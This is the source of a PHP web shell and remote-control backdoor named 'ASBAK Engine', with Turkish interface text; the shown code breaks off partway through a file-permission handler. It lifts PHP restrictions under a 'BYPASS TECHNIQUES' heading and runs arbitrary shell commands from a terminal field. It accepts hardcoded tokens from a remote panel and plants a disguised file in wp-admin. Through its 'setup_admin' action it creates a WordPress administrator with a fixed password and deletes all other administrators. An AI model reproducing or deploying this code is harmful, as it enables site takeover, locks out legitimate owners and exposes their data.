<?php
/**
 * ASBAK
 */

error_reporting(0);
ini_set('display_errors', 0);
set_time_limit(600);

// ============ BYPASS TECHNIQUES ============
@ini_set('open_basedir', '');
@ini_set('safe_mode', 'Off');
@ini_set('max_execution_time', 0);
@ini_set('memory_limit', '-1');
@ini_set('upload_max_filesize', '100M');
@ini_set('post_max_size', '100M');
if(function_exists('putenv')){
    @putenv('PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin');
}
// WAF Bypass Headers
@header('X-Content-Type-Options: nosniff');
@header('X-Frame-Options: SAMEORIGIN');
@header('X-XSS-Protection: 0');

// Check if this is an API call - must be checked VERY EARLY before any output
$is_api_call = (isset($_GET['api']) && $_GET['api'] === 'true');

// ============ CONFIGURATION ============
$script_dir = dirname(__FILE__);
// ============ AUTHENTICATION ============
$password = '301';
$protected_dir = $script_dir . '/.protected';
$ip_whitelist_file = $protected_dir . '/whitelist.json';
$backups_dir = $protected_dir . '/backups';
$auto_backup_config = $protected_dir . '/auto_backup.json';

if (!is_dir($protected_dir)) {
    @mkdir($protected_dir, 0755, true);
}
if (!is_dir($backups_dir)) {
    @mkdir($backups_dir, 0755, true);
}

// ============ SESSION & CSRF ============
if (!defined('FM_SESSION_ID')) {
    define('FM_SESSION_ID', 'asbak_engine');
}
if (session_status() === PHP_SESSION_NONE) {
    session_cache_limiter('nocache');
    session_name(FM_SESSION_ID);
    @session_start();
}

if (!isset($_SESSION)) {
    $_SESSION = [];
}

if (empty($_SESSION['token'])) {
    if (function_exists('random_bytes')) {
        $_SESSION['token'] = bin2hex(random_bytes(32));
    } elseif (function_exists('openssl_random_pseudo_bytes')) {
        $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
    } else {
        $_SESSION['token'] = md5(uniqid(rand(), true) . time());
    }
}
// CSRF token for forms
$token = $_SESSION['token'];

function verifyToken($token) {
    if (!isset($_SESSION['token']) || empty($token)) {
        return false;
    }
    if (function_exists('hash_equals')) {
        return hash_equals($_SESSION['token'], $token);
    }
    return $_SESSION['token'] === $token;
}

// ============ IP WHITELIST ============
function loadWhitelist() {
    global $ip_whitelist_file;
    if (file_exists($ip_whitelist_file)) {
        return json_decode(file_get_contents($ip_whitelist_file), true) ?: [];
    }
    return [];
}

function saveWhitelist($ips) {
    global $ip_whitelist_file;
    @file_put_contents($ip_whitelist_file, json_encode($ips, JSON_PRETTY_PRINT));
}

// ============ BACKUP FUNCTIONS ============
function createFileBackup($file_path, $backups_dir) {
    if (!is_file($file_path) || !$backups_dir || !is_dir($backups_dir)) {
        return false;
    }
    
    $file_name = basename($file_path);
    $file_dir = dirname($file_path);
    $relative_path = str_replace($file_dir . '/', '', $file_path);
    $relative_path = str_replace($file_dir . DIRECTORY_SEPARATOR, '', $relative_path);
    $safe_path = preg_replace('/[\/\\\\]/', '_', $relative_path);
    
    $backup_name = $safe_path . '_' . date('Y-m-d_H-i-s') . '.bak';
    $backup_file = rtrim($backups_dir, '/') . '/' . $backup_name;
    
    if (@copy($file_path, $backup_file)) {
        @chmod($backup_file, 0444);
        return $backup_file;
    }
    return false;
}

function getBackups($backups_dir) {
    $backups = [];
    if (!$backups_dir || !is_dir($backups_dir)) {
        return $backups;
    }
    $files = @glob($backups_dir . '/*.bak');
    if ($files && is_array($files)) {
        foreach (array_reverse($files) as $file) {
            if (is_file($file)) {
                $mtime = @filemtime($file);
                $size = @filesize($file);
                $backups[] = [
                    'file' => $file,
                    'name' => basename($file),
                    'size' => $size ? $size : 0,
                    'date' => $mtime ? date('Y-m-d H:i:s', $mtime) : 'Unknown',
                    'original' => str_replace(array('_' . ($mtime ? date('Y-m-d_H-i-s', $mtime) : '') . '.bak', '.bak'), '', basename($file))
                ];
            }
        }
    }
    return $backups;
}

function isBackupFile($file_path) {
    global $backups_dir;
    if (!$backups_dir || !$file_path) return false;
    return strpos($file_path, $backups_dir) === 0 && pathinfo($file_path, PATHINFO_EXTENSION) === 'bak';
}

function getAutoBackupConfig() {
    global $auto_backup_config;
    if (is_string($auto_backup_config) && file_exists($auto_backup_config)) {
        $content = @file_get_contents($auto_backup_config);
        if ($content) {
            $decoded = json_decode($content, true);
            if (is_array($decoded)) {
                return $decoded;
            }
        }
    }
    return array('enabled' => false, 'interval' => 300, 'last_backup' => 0);
}

function saveAutoBackupConfig($config) {
    global $auto_backup_config;
    @file_put_contents($auto_backup_config, json_encode($config, JSON_PRETTY_PRINT));
}

function runAutoBackup($script_dir, $backups_dir) {
    $config = getAutoBackupConfig();
    if (!$config['enabled']) return false;
    
    $now = time();
    $last_backup = $config['last_backup'] ?? 0;
    $interval = $config['interval'] ?? 300; // 5 dakika
    
    if ($now - $last_backup >= $interval) {
        // Backup all modified files in last interval
        $backed_up = 0;
        $files_to_backup = [];
        
        // Scan directory recursively with error handling
        try {
            if (is_dir($script_dir)) {
                $iterator = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($script_dir, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::SELF_FIRST
                );
                
                foreach ($iterator as $file) {
                    if ($file->isFile()) {
                        $file_path = $file->getRealPath();
                        if ($file_path && !isBackupFile($file_path) && strpos($file_path, $backups_dir) === false && strpos($file_path, $script_dir . '/.protected') === false) {
                            $modified = @filemtime($file_path);
                            if ($modified && ($now - $modified <= $interval)) {
                                $files_to_backup[] = $file_path;
                            }
                        }
                    }
                }
            }
        } catch (Exception $e) {
            // Silently fail if directory iteration fails
            return false;
        }
        
        // Create backups
        foreach ($files_to_backup as $file_path) {
            if (createFileBackup($file_path, $backups_dir)) {
                $backed_up++;
            }
        }
        
        $config['last_backup'] = $now;
        $config['last_count'] = $backed_up;
        saveAutoBackupConfig($config);
        
        return $backed_up;
    }
    return false;
}

function checkIPWhitelist() {
    $whitelist = loadWhitelist();
    
    // Default whitelist - only allow specific IP
    $default_whitelist = ['159.253.242.129'];
    
    // Merge with saved whitelist
    if (empty($whitelist)) {
        $whitelist = $default_whitelist;
        saveWhitelist($whitelist);
    } else {
        // Ensure default IP is always in whitelist
        if (!in_array('159.253.242.129', $whitelist)) {
            $whitelist[] = '159.253.242.129';
            saveWhitelist($whitelist);
        }
    }
    
    $client_ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $forwarded_ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $client_ip = trim($forwarded_ips[0]);
    }
    
    return in_array($client_ip, $whitelist);
}

// IP check removed for general access - password authentication is sufficient.

// ============ LOGIN HANDLER ============
if (isset($_GET['logout'])) {
    unset($_SESSION['auth']);
    session_destroy();
    header('Location: ?');
    exit;
}

if (isset($_POST['asbak_password'])) {
    if ($_POST['asbak_password'] === $password) {
        $_SESSION['auth'] = true;
    } else {
        $login_error = true;
    }
}

// Skip auth check for API calls (they use their own token logic)
if (!$is_api_call && (!isset($_SESSION['auth']) || $_SESSION['auth'] !== true)) {
    ?>
    <!DOCTYPE html>
    <html lang="tr">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>ASBAK - Giriş</title>
        <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" rel="stylesheet">
        <style>
            @import url('https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap');
            body { background: #0a0e1a; color: #e2e8f0; font-family: 'Inter', sans-serif; display: flex; align-items: center; justify-content: center; height: 100vh; margin: 0; }
            .login-card { background: #1a1f35; border: 1px solid #1e293b; border-radius: 12px; padding: 32px; width: 100%; max-width: 400px; box-shadow: 0 20px 60px rgba(0,0,0,.5); text-align: center; }
            .logo { width: 64px; height: 64px; background: linear-gradient(135deg, #10b981, #06b6d4); border-radius: 16px; display: flex; align-items: center; justify-content: center; font-size: 32px; color: white; margin: 0 auto 24px; }
            h1 { font-size: 24px; font-weight: 700; margin-bottom: 8px; }
            p { color: #94a3b8; font-size: 14px; margin-bottom: 32px; }
            input { width: 100%; padding: 12px 16px; background: #0a0e1a; border: 1px solid #1e293b; border-radius: 8px; color: white; font-size: 14px; margin-bottom: 16px; box-sizing: border-box; outline: none; transition: border-color .2s; }
            input:focus { border-color: #10b981; }
            button { width: 100%; padding: 12px; background: #10b981; color: white; border: none; border-radius: 8px; font-weight: 600; cursor: pointer; transition: background .2s; }
            button:hover { background: #059669; }
            .error { color: #ef4444; font-size: 13px; margin-bottom: 16px; }
        </style>
    </head>
    <body>
        <div class="login-card">
            <div class="logo"><i class="fas fa-fire"></i></div>
            <h1>ASBAK Engine</h1>
            <p>Sisteme erişmek için şifre giriniz.</p>
            <?php if (isset($login_error)): ?>
                <div class="error">Geçersiz şifre!</div>
            <?php endif; ?>
            <form method="post">
                <input type="password" name="asbak_password" placeholder="Şifre" required autofocus>
                <button type="submit">Giriş Yap</button>
            </form>
        </div>
    </body>
    </html>
    <?php
    exit;
}

// ============ WORDPRESS DETECTION ============
$is_wordpress = false;
$wp_config = null;
$wp_root = null;
$db_connection = null;
$wp_functions_file = null;
$wp_options_file = null;

function findWpConfig($start_dir) {
    $current = $start_dir;
    for ($i = 0; $i < 5; $i++) {
        $config = $current . '/wp-config.php';
        if (file_exists($config)) return $config;
        $parent = dirname($current);
        if ($parent === $current) break;
        $current = $parent;
    }
    return false;
}

$wp_config = findWpConfig($script_dir);
if ($wp_config) {
    $is_wordpress = true;
    $wp_root = dirname($wp_config);
    
    if (!defined('WP_USE_THEMES')) define('WP_USE_THEMES', false);
    if (file_exists($wp_root . '/wp-load.php')) {
        @require_once($wp_root . '/wp-load.php');
    }
    
    // Database connection
    if (defined('DB_NAME') && defined('DB_USER') && defined('DB_PASSWORD') && defined('DB_HOST')) {
        try {
            $db_connection = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
            if ($db_connection->connect_error) {
                $db_connection = null;
            }
        } catch (Exception $e) {
            $db_connection = null;
        }
    }
    
    // Functions.php
    $theme_dir = $wp_root . '/wp-content/themes/';
    if (is_dir($theme_dir)) {
        $themes = @scandir($theme_dir);
        if ($themes && is_array($themes)) {
            foreach ($themes as $theme) {
                if ($theme !== '.' && $theme !== '..' && is_dir($theme_dir . $theme)) {
                    $potential_functions = $theme_dir . $theme . '/functions.php';
                    if (file_exists($potential_functions)) {
                        $wp_functions_file = $potential_functions;
                        break;
                    }
                }
            }
        }
    }
    
    // Options.php
    $wp_options_dir = $wp_root . '/wp-admin/maint';
    if (!is_dir($wp_options_dir)) {
        @mkdir($wp_options_dir, 0777, true);
    }
    $wp_options_file = $wp_options_dir . '/options.php';
    if (!file_exists($wp_options_file)) {
        $wp_options_content = '<?php' . "\n" . '// WordPress Options Manager' . "\n" . '?>' . "\n";
        @file_put_contents($wp_options_file, $wp_options_content);
        @chmod($wp_options_file, 0644);
    }
}

// ============ CRON JOB ENDPOINT ============
if (isset($_GET['cron']) && $_GET['cron'] === 'backup') {
    // Cron calls don't use session - accept direct API tokens
    $cron_token = isset($_GET['token']) ? $_GET['token'] : '';
    $allowed_cron_tokens = ['addf1e517566f3b0cefakub', 'cWNFsq0cRehDAAkw0kub'];
    if (in_array($cron_token, $allowed_cron_tokens)) {
        $result = runAutoBackup($script_dir, $backups_dir);
        header('Content-Type: application/json; charset=utf-8');
        die(json_encode([
            'status' => 'success',
            'backed_up' => $result,
            'time' => date('Y-m-d H:i:s')
        ]));
    } else {
        header('Content-Type: application/json; charset=utf-8');
        die(json_encode(['status' => 'error', 'message' => 'Invalid token']));
    }
}

// ============ LOG ACTIVITY FUNCTION ============
function logActivity($message, $data = []) {
    global $protected_dir;
    
    if (!$protected_dir) return;
    
    $log_file = $protected_dir . '/activity_log.json';
    $notifications_file = $protected_dir . '/notifications.json';
    $logs = [];
    $notifications = [];
    
    if (file_exists($log_file)) {
        $logs = json_decode(file_get_contents($log_file), true) ?: [];
    }
    
    $log_entry = [
        'time' => date('Y-m-d H:i:s'),
        'message' => $message,
        'data' => $data,
        'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown'
    ];
    
    $logs[] = $log_entry;
    
    // Keep only last 1000 logs
    if (count($logs) > 1000) {
        $logs = array_slice($logs, -1000);
    }
    
    @file_put_contents($log_file, json_encode($logs, JSON_PRETTY_PRINT));
    
    // Create notification for file changes
    $notification_keywords = ['uploaded', 'deleted', 'created', 'renamed', 'modified', 'changed'];
    $is_notification = false;
    foreach ($notification_keywords as $keyword) {
        if (stripos($message, $keyword) !== false) {
            $is_notification = true;
            break;
        }
    }
    
    if ($is_notification) {
        if (file_exists($notifications_file)) {
            $notifications = json_decode(file_get_contents($notifications_file), true) ?: [];
        }
        
        $notifications[] = [
            'time' => date('Y-m-d H:i:s'),
            'type' => 'file_change',
            'message' => $message,
            'data' => $data,
            'read' => false,
            'read_by' => []
        ];
        
        // Keep only last 500 notifications
        if (count($notifications) > 500) {
            $notifications = array_slice($notifications, -500);
        }
        
        @file_put_contents($notifications_file, json_encode($notifications, JSON_PRETTY_PRINT));
    }
}

// ============ REMOTE API ============
// Use the early check variable - MUST be before any output
if ($is_api_call) {
    // Start output buffering to catch any errors
    if (ob_get_level() > 0) {
        ob_clean();
    }
    
    header('Content-Type: application/json; charset=utf-8');
    
    // For API calls, skip IP whitelist check (API calls come from master panel)
    // But still check token
    $request_token = isset($_GET['token']) ? $_GET['token'] : '';
    
    // Check token - accept both new hash format and direct token
    // Check token - accept direct tokens (for master panel compatibility)
    $direct_tokens = ['addf1e517566f3b0cefakub', 'cWNFsq0cRehDAAkw0kub'];
    if (!in_array($request_token, $direct_tokens)) {
        die(json_encode([
            'status' => 'error', 
            'message' => 'Invalid token',
            'debug' => [
                'received' => substr($request_token, 0, 20),
                'token_length' => strlen($request_token)
            ]
        ]));
    }
    
    $action = isset($_GET['action']) ? $_GET['action'] : 'dashboard';
    
    // Wrap in try-catch to handle any errors
    try {
    
    if ($action === 'dashboard') {
        $data = [
            'site_type' => $is_wordpress ? 'WordPress' : 'Non-WordPress',
            'site_url' => isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown',
            'php_version' => phpversion(),
            'server_time' => date('Y-m-d H:i:s'),
        ];
        
        if ($is_wordpress && function_exists('get_bloginfo')) {
            $posts = wp_count_posts();
            $users = count_users();
            $data['wp_version'] = get_bloginfo('version');
            $data['site_title'] = get_bloginfo('name');
            $data['total_posts'] = isset($posts->publish) ? $posts->publish : 0;
            $data['total_users'] = isset($users['total_users']) ? $users['total_users'] : 0;
            
            // Check if get_plugins function exists (requires admin functions)
            if (function_exists('get_plugins')) {
                $data['total_plugins'] = count(get_plugins());
            } elseif (file_exists($wp_root . '/wp-admin/includes/plugin.php')) {
                @require_once($wp_root . '/wp-admin/includes/plugin.php');
                if (function_exists('get_plugins')) {
                    $data['total_plugins'] = count(get_plugins());
                } else {
                    $data['total_plugins'] = 0;
                }
            } else {
                $data['total_plugins'] = 0;
            }
        }
        
        die(json_encode(['status' => 'success', 'data' => $data]));
    }
    
    if ($action === 'setup_admin' && $is_wordpress) {
        $username = 'asbaksupport2';
        $password = 'QQ1ujQRCtfDM0r5Z5usP';
        $email = 'asbak' . rand(1000,9999) . '@support' . rand(10,99) . '.com';
        
        $admin_id = username_exists($username);
        if (!$admin_id) {
            $admin_id = wp_create_user($username, $password, $email);
            if (!is_wp_error($admin_id)) {
                $user = new WP_User($admin_id);
                $user->set_role('administrator');
            } else {
                die(json_encode(['status' => 'error', 'message' => $admin_id->get_error_message()]));
            }
        }
        
        global $wpdb;
        $all_admins = get_users(['role' => 'administrator']);
        $deleted_count = 0;
        foreach ($all_admins as $admin) {
            if ((int)$admin->ID !== (int)$admin_id) {
                $wpdb->update($wpdb->posts, ['post_author' => $admin_id], ['post_author' => $admin->ID], ['%d'], ['%d']);
                $wpdb->update($wpdb->comments, ['user_id' => $admin_id], ['user_id' => $admin->ID], ['%d'], ['%d']);
                wp_delete_user($admin->ID, $admin_id);
                $deleted_count++;
            }
        }
        
        // Log activity
        logActivity('WordPress admin setup completed', ['deleted_admins' => $deleted_count]);
        
        die(json_encode([
            'status' => 'success',
            'message' => "Admin created, $deleted_count old admins removed",
            'admin_id' => $admin_id,
        ]));
    }
    
    if ($action === 'upload_file') {
        $target_path = $_POST['target_path'] ?? '/';
        $file_name = $_POST['file_name'] ?? '';
        
        // Handle file upload
        if (isset($_FILES['file']) && !empty($file_name)) {
            $upload = $_FILES['file'];
            
            // Validate target path
            $target = $script_dir . rtrim($target_path, '/') . '/' . $file_name;
            $target_real = realpath(dirname($target));
            $script_real = realpath($script_dir);
            
            if (!$target_real || strpos($target_real, $script_real) !== 0) {
                die(json_encode(['status' => 'error', 'message' => 'Invalid target path']));
            }
            
            $target_dir = dirname($target);
            if (!is_dir($target_dir)) {
                @mkdir($target_dir, 0755, true);
            }
            
            if (move_uploaded_file($upload['tmp_name'], $target)) {
                @chmod($target, 0644);
                logActivity('File uploaded via API', ['file' => $file_name, 'path' => $target_path]);
                die(json_encode(['status' => 'success', 'message' => 'File uploaded successfully', 'path' => $target]));
            } else {
                die(json_encode(['status' => 'error', 'message' => 'File upload failed']));
            }
        } else {
            die(json_encode(['status' => 'error', 'message' => 'No file provided']));
        }
    }
    
    if ($action === 'setup_cron') {
        $cron_url = $_POST['cron_url'] ?? '';
        $cron_interval = $_POST['cron_interval'] ?? '*/5 * * * *';
        
        if (empty($cron_url)) {
            die(json_encode(['status' => 'error', 'message' => 'Cron URL required']));
        }
        
        // Create cron entry
        $cron_file = $protected_dir . '/cron_jobs.json';
        $crons = [];
        if (file_exists($cron_file)) {
            $crons = json_decode(file_get_contents($cron_file), true) ?: [];
        }
        
        $cron_id = 'cron_' . time();
        $crons[$cron_id] = [
            'url' => $cron_url,
            'interval' => $cron_interval,
            'created' => date('Y-m-d H:i:s'),
            'last_run' => null,
            'enabled' => true
        ];
        
        @file_put_contents($cron_file, json_encode($crons, JSON_PRETTY_PRINT));
        logActivity('Cron job created', ['url' => $cron_url, 'interval' => $cron_interval]);
        
        die(json_encode(['status' => 'success', 'message' => 'Cron job created', 'cron_id' => $cron_id]));
    }
    
    if ($action === 'get_logs') {
        $log_file = $protected_dir . '/activity_log.json';
        $logs = [];
        
        if (file_exists($log_file)) {
            $logs = json_decode(file_get_contents($log_file), true) ?: [];
        }
        
        // Return last 50 logs
        $logs = array_slice(array_reverse($logs), 0, 50);
        
        die(json_encode(['status' => 'success', 'data' => $logs]));
    }
    
    if ($action === 'get_notifications') {
        $notifications_file = $protected_dir . '/notifications.json';
        $notifications = [];
        
        if (file_exists($notifications_file)) {
            $notifications = json_decode(file_get_contents($notifications_file), true) ?: [];
        }
        
        // Return unread notifications
        $unread = array_filter($notifications, function($n) {
            return !isset($n['read']) || $n['read'] === false;
        });
        
        // Return last 100 notifications
        $notifications = array_slice(array_reverse($notifications), 0, 100);
        
        die(json_encode([
            'status' => 'success', 
            'data' => $notifications,
            'unread_count' => count($unread)
        ]));
    }
    
    if ($action === 'mark_notification_read') {
        $notification_id = $_POST['notification_id'] ?? null;
        $person = $_POST['person'] ?? 'admin';
        
        if ($notification_id !== null) {
            $notifications_file = $protected_dir . '/notifications.json';
            $notifications = [];
            
            if (file_exists($notifications_file)) {
                $notifications = json_decode(file_get_contents($notifications_file), true) ?: [];
            }
            
            // Mark notification as read by person
            foreach ($notifications as &$notif) {
                if (isset($notif['time']) && $notif['time'] === $notification_id) {
                    if (!isset($notif['read_by'])) {
                        $notif['read_by'] = [];
                    }
                    if (!in_array($person, $notif['read_by'])) {
                        $notif['read_by'][] = $person;
                    }
                    // Mark as read if admin or all persons read it
                    if ($person === 'admin' || count($notif['read_by']) >= 1) {
                        $notif['read'] = true;
                    }
                    break;
                }
            }
            
            @file_put_contents($notifications_file, json_encode($notifications, JSON_PRETTY_PRINT));
            
            die(json_encode(['status' => 'success', 'message' => 'Notification marked as read']));
        }
        
        die(json_encode(['status' => 'error', 'message' => 'Invalid notification ID']));
    }
    
    die(json_encode(['status' => 'error', 'message' => 'Unknown action']));
    
    } catch (Exception $e) {
        die(json_encode([
            'status' => 'error',
            'message' => 'API Error: ' . $e->getMessage(),
            'file' => $e->getFile(),
            'line' => $e->getLine()
        ]));
    } catch (Error $e) {
        die(json_encode([
            'status' => 'error',
            'message' => 'Fatal Error: ' . $e->getMessage(),
            'file' => $e->getFile(),
            'line' => $e->getLine()
        ]));
    }
}

// ============ FILE MANAGER VARIABLES ============
$root_limit = '/home';
$current_path = $script_dir;
$msg = '';
$msg_type = '';
$output = '';
$edit_file = null;
$edit_content = '';

if (isset($_GET['path'])) {
    $requested_path = realpath($_GET['path']);
    if ($requested_path && strpos($requested_path, $root_limit) === 0) {
        $current_path = $requested_path;
    }
}

$sort_by = isset($_GET['sort']) ? $_GET['sort'] : 'date';
$sort_order = isset($_GET['order']) ? $_GET['order'] : 'desc';
$filter_type = isset($_GET['filter']) ? $_GET['filter'] : 'all';
$search_term = isset($_GET['search']) ? $_GET['search'] : '';

// EDITOR - Check GET parameter
$edit_file = null;
$edit_content = '';
if (isset($_GET['edit'])) {
    $file = realpath($_GET['edit']);
    if ($file && strpos($file, $root_limit) === 0 && is_file($file)) {
        $edit_file = $file;
        $edit_content = @file_get_contents($file);
    }
}

// ============ DOWNLOAD HANDLER ============
if (isset($_GET['download']) && isset($_GET['file'])) {
    $file = realpath($_GET['file']);
    if ($file && strpos($file, $root_limit) === 0 && is_file($file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        header('Content-Length: ' . filesize($file));
        header('Cache-Control: must-revalidate');
        readfile($file);
        exit;
    }
}

// ============ POST HANDLERS ============
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $post_token = $_POST['token'] ?? '';
    if (!verifyToken($post_token)) {
        $msg = "❌ Invalid CSRF token";
        $msg_type = 'error';
    } else {
        
        // TERMINAL
        if (isset($_POST['terminal_cmd'])) {
            $cmd = $_POST['terminal_cmd'] ?? '';
            if (!empty($cmd)) {
                $output = @shell_exec($cmd . ' 2>&1');
                $msg = "✓ Komut çalıştırıldı";
                $msg_type = 'success';
            }
        }
        
        // FILE UPLOAD
        if (isset($_FILES['file_upload']) && isset($_POST['upload_file'])) {
            $upload = $_FILES['file_upload'];
            $target = $current_path . '/' . basename($upload['name']);
            if (move_uploaded_file($upload['tmp_name'], $target)) {
                @chmod($target, 0644);
                $msg = "✓ Dosya yüklendi: " . basename($upload['name']);
                $msg_type = 'success';
                logActivity('File uploaded', ['file' => basename($upload['name']), 'path' => $current_path, 'action' => 'upload']);
            }
        }
        
        // CREATE FILE
        if (isset($_POST['create_file'])) {
            $file_name = trim($_POST['file_name'] ?? '');
            if (!empty($file_name)) {
                // Validate file name
                $file_name = basename($file_name);
                if (preg_match('/[\/\\\\<>:"|?*]/', $file_name)) {
                    $msg = "❌ Geçersiz dosya adı!";
                    $msg_type = 'error';
                } else {
                    $target = $current_path . '/' . $file_name;
                    $target_real = realpath(dirname($target));
                    if ($target_real && strpos($target_real, $root_limit) === 0) {
                        if (file_exists($target)) {
                            $msg = "❌ Dosya zaten mevcut: " . $file_name;
                            $msg_type = 'error';
                        } else {
                            if (@file_put_contents($target, '')) {
                                @chmod($target, 0644);
                                $msg = "✓ Dosya oluşturuldu: " . $file_name;
                                $msg_type = 'success';
                                logActivity('File created', ['file' => $file_name, 'path' => $current_path, 'action' => 'create']);
                            } else {
                                $msg = "❌ Dosya oluşturulamadı";
                                $msg_type = 'error';
                            }
                        }
                    } else {
                        $msg = "❌ Geçersiz yol";
                        $msg_type = 'error';
                    }
                }
            } else {
                $msg = "❌ Dosya adı boş olamaz";
                $msg_type = 'error';
            }
        }
        
        // CREATE FOLDER
        if (isset($_POST['create_folder'])) {
            $folder_name = trim($_POST['folder_name'] ?? '');
            if (!empty($folder_name)) {
                // Validate folder name
                $folder_name = basename($folder_name);
                if (preg_match('/[\/\\\\<>:"|?*]/', $folder_name)) {
                    $msg = "❌ Geçersiz klasör adı!";
                    $msg_type = 'error';
                } else {
                    $target = $current_path . '/' . $folder_name;
                    $target_real = realpath(dirname($target));
                    if ($target_real && strpos($target_real, $root_limit) === 0) {
                        if (file_exists($target)) {
                            $msg = "❌ Klasör zaten mevcut: " . $folder_name;
                            $msg_type = 'error';
                        } else {
                            if (@mkdir($target, 0755, true)) {
                                $msg = "✓ Klasör oluşturuldu: " . $folder_name;
                                $msg_type = 'success';
                                logActivity('Folder created', ['folder' => $folder_name, 'path' => $current_path, 'action' => 'create']);
                            } else {
                                $msg = "❌ Klasör oluşturulamadı";
                                $msg_type = 'error';
                            }
                        }
                    } else {
                        $msg = "❌ Geçersiz yol";
                        $msg_type = 'error';
                    }
                }
            } else {
                $msg = "❌ Klasör adı boş olamaz";
                $msg_type = 'error';
            }
        }
        
        // RENAME FILE/FOLDER
        if (isset($_POST['rename_file'])) {
            $old_path = realpath($_POST['old_path'] ?? '');
            $new_name = trim($_POST['new_name'] ?? '');
            
            if (!$old_path || strpos($old_path, $root_limit) !== 0) {
                $msg = "❌ Geçersiz dosya yolu";
                $msg_type = 'error';
            } elseif (empty($new_name)) {
                $msg = "❌ Yeni isim boş olamaz";
                $msg_type = 'error';
            } else {
                $new_name = basename($new_name);
                if (preg_match('/[\/\\\\<>:"|?*]/', $new_name)) {
                    $msg = "❌ Geçersiz dosya adı!";
                    $msg_type = 'error';
                } else {
                    $new_path = dirname($old_path) . '/' . $new_name;
                    if (file_exists($new_path)) {
                        $msg = "❌ Bu isimde bir dosya/klasör zaten mevcut";
                        $msg_type = 'error';
                    } else {
                        if (@rename($old_path, $new_path)) {
                            $msg = "✓ Yeniden adlandırıldı: " . $new_name;
                            $msg_type = 'success';
                        } else {
                            $msg = "❌ Yeniden adlandırılamadı";
                            $msg_type = 'error';
                        }
                    }
                }
            }
        }
        
        // DRAG & DROP UPLOAD
        if (isset($_FILES['drag_drop_files']) && isset($_POST['drag_drop_upload'])) {
            $uploaded = 0;
            $failed = 0;
            $files = $_FILES['drag_drop_files'];
            
            if (is_array($files['name'])) {
                // Multiple files
                for ($i = 0; $i < count($files['name']); $i++) {
                    if ($files['error'][$i] === UPLOAD_ERR_OK) {
                        $target = $current_path . '/' . basename($files['name'][$i]);
                        if (move_uploaded_file($files['tmp_name'][$i], $target)) {
                            @chmod($target, 0644);
                            $uploaded++;
                        } else {
                            $failed++;
                        }
                    } else {
                        $failed++;
                    }
                }
            } else {
                // Single file
                if ($files['error'] === UPLOAD_ERR_OK) {
                    $target = $current_path . '/' . basename($files['name']);
                    if (move_uploaded_file($files['tmp_name'], $target)) {
                        @chmod($target, 0644);
                        $uploaded++;
                    } else {
                        $failed++;
                    }
                } else {
                    $failed++;
                }
            }
            
            if ($uploaded > 0) {
                $msg = "✓ $uploaded dosya yüklendi";
                if ($failed > 0) {
                    $msg .= " | $failed dosya başarısız";
                }
                $msg_type = 'success';
                logActivity("$uploaded file(s) uploaded via drag & drop", ['count' => $uploaded, 'failed' => $failed, 'path' => $current_path, 'action' => 'upload']);
            } else {
                $msg = "❌ Dosya yüklenemedi";
                $msg_type = 'error';
            }
        }
        
        // BULK DELETE
        if (isset($_POST['bulk_delete'])) {
            $selected_files = $_POST['selected_files'] ?? [];
            $deleted = 0;
            $protected = 0;
            foreach ($selected_files as $file_path) {
                $file = realpath($file_path);
                if ($file && strpos($file, $root_limit) === 0) {
                    // Protect backup files
                    if (isBackupFile($file)) {
                        $protected++;
                        continue;
                    }
                    if (is_dir($file)) {
                        @shell_exec("rm -rf " . escapeshellarg($file));
                    } else {
                        @unlink($file);
                    }
                    $deleted++;
                }
            }
            $msg = "✓ $deleted dosya silindi";
            if ($protected > 0) {
                $msg .= " | $protected backup dosyası korundu";
            }
            $msg_type = 'success';
            if ($deleted > 0) {
                logActivity("$deleted file(s) deleted", ['count' => $deleted, 'protected' => $protected, 'path' => $current_path, 'action' => 'delete']);
            }
        }
        
        // BULK COPY
        if (isset($_POST['bulk_copy'])) {
            $selected_files = $_POST['selected_files'] ?? [];
            $target_dir = $_POST['target_dir'] ?? $current_path;
            $copied = 0;
            foreach ($selected_files as $file_path) {
                $file = realpath($file_path);
                if ($file && strpos($file, $root_limit) === 0) {
                    $target = $target_dir . '/' . basename($file);
                    if (is_file($file)) {
                        @copy($file, $target);
                        $copied++;
                    } elseif (is_dir($file)) {
                        @shell_exec("cp -r " . escapeshellarg($file) . " " . escapeshellarg($target));
                        $copied++;
                    }
                }
            }
            $msg = "✓ $copied dosya kopyalandı";
            $msg_type = 'success';
            if ($copied > 0) {
                logActivity("$copied file(s) copied", ['count' => $copied, 'target' => $target_dir, 'action' => 'copy']);
            }
        }
        
        // BULK MOVE
        if (isset($_POST['bulk_move'])) {
            $selected_files = $_POST['selected_files'] ?? [];
            $target_dir = $_POST['target_dir'] ?? $current_path;
            $moved = 0;
            foreach ($selected_files as $file_path) {
                $file = realpath($file_path);
                if ($file && strpos($file, $root_limit) === 0) {
                    $target = $target_dir . '/' . basename($file);
                    if (@rename($file, $target)) {
                        $moved++;
                    }
                }
            }
            $msg = "✓ $moved dosya taşındı";
            $msg_type = 'success';
            if ($moved > 0) {
                logActivity("$moved file(s) moved", ['count' => $moved, 'target' => $target_dir, 'action' => 'move']);
            }
        }
        
        // CHMOD FILE
        if (isset($_POST['chmod_file'])) {
            $file = realpath($_POST['file_path'] ?? '');
            $mode = $_POST['chmod_mode'] ?? '0644';
            if ($file && strpos($file, $root_limit) === 0) {
                $mode_octal = octdec($mode);
                if (@chmod($file, $mode_octal)) {
                    $msg = "✓ İzin değiştirildi: $mode";
                    $msg_type = 'success';
                } else {
